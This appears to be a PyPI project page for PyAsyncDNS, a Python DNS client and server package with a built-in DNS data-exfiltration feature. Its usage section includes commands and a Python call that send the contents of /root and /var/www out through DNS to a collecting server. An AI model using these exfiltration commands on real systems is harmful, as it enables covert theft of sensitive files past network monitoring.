Skip to main content

PyAsyncDNS Logo

PyAsyncDNS

Description

This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.

Requirements

This package require:

  • python3
  • python3 Standard Library

Installation

Pip

python3 -m pip install PyAsyncDNS

Git

git clone "https://github.com/mauricelambert/PyAsyncDNS.git"
cd "PyAsyncDNS"
python3 -m pip install .

Wget

wget https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .

cURL

curl -O https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .

Usages

Command line

PyAsyncDNS              # Using CLI package executable
python3 -m PyAsyncDNS   # Using python module
python3 PyAsyncDNS.pyz  # Using python executable
PyAsyncDNS.exe          # Using python Windows executable

PyAsyncDNS resolve example.com
PyAsyncDNS resolve example.com A
PyAsyncDNS resolve example.com AAAA --server 127.0.0.1
PyAsyncDNS resolve example.com MX --server 127.0.0.1 --port 5353
PyAsyncDNS resolve example.com NS --server 127.0.0.1 --port 5353 --udp
PyAsyncDNS resolve example.com TXT --server 127.0.0.1 --port 5353 --tcp

PyAsyncDNS server 127.0.0.1 5353
PyAsyncDNS server 127.0.0.1 5353 --zone zone_example.json

PyAsyncDNS exfiltrator-server 127.0.0.1 53

PyAsyncDNS exfiltration-client 127.0.0.1 53 /root /var/www/

Python script

from PyAsyncDNS import *
from asyncio import run

server = DNSServer(zone={"example.com":{"A":["93.184.216.34"]}}, host='127.0.0.1', port=53) # configure the server
run(server.serve_forever())                                                                 # run the DNS service forever
run(query("example.com", "A", '127.0.0.1', 53))                                             # query IPv4 address for example.com name 

run(start_exfiltrator_server('127.0.0.1', 53))                # start server to save exfiltrated files
run(process_directories('/root', "127.0.0.1", 53))            # exfiltrate /root directories through DNS to 127.0.0.1:53 using UDP

Links

License

Licensed under the GPL, version 3.

Metadata

Release files for PyAsyncDNS 1.0.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for PyAsyncDNS 1.0.0
File Size Uploaded
pyasyncdns-1.0.0.tar.gz 34.0 kB Details

Release files / pyasyncdns-1.0.0.tar.gz

Download URL pyasyncdns-1.0.0.tar.gz
Size 34.0 kB
Tags Source
SHA-256 checksum
How to use checksums
379e299887712e67a6f5b02d90b0be07d0c9bcb95ad3542a35a5830acaec079d
BLAKE2b-256 checksum
How to use checksums
e2ee0a91d8599fb4192af7b7546f76acd56a7534213a9389b2c3ca741ba2b760
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.13.12

Release history Release notifications | RSS feed

This release

1.0.0 This release

1 release file

0.0.3

1 release file

0.0.1

1 release file

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page